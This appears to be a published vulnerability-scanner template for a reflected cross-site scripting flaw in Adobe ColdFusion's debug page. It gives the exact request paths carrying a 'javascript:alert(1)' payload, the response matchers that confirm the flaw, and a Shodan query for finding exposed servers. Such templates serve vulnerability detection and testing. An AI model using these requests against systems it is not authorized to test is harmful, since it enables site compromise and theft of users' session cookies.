coldfusion-debug-xss: Adobe ColdFusion - Cross-Site Scripting

2025-08-01 Adobe ColdFusion PoC Public

Description

Adobe ColdFusion debug page contains a cross-site scripting vulnerability when the application is running on a remote host. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: coldfusion-debug-xss

info:
  name: Adobe ColdFusion - Cross-Site Scripting
  author: dhiyaneshDK
  severity: high
  description: Adobe ColdFusion debug page contains a cross-site scripting vulnerability when the application is running on a remote host. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/jaeles-project/jaeles-signatures/blob/master/common/coldfusion-debug-xss.yaml
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79,CWE-83
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.component:"Adobe ColdFusion"
    product: coldfusion
    vendor: adobe
  tags: adobe,coldfusion,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/CFIDE/debug/cf_debugFr.cfm?userPage=javascript:alert(1)'
      - '{{BaseURL}}/cfusion/debug/cf_debugFr.cfm?userPage=javascript:alert(1)'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"cf_main_cf" src="javascript:alert(1)"'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022002f358652f269f376110096e06c06793a8c5e34dcdd74e69fbad679f7c1a0d9a02200e6cae2562b7b496a73b1086dc626104232fcc0eb39dec5d91b2226897a34077:922c64590222798bb761d5b6d8e72950

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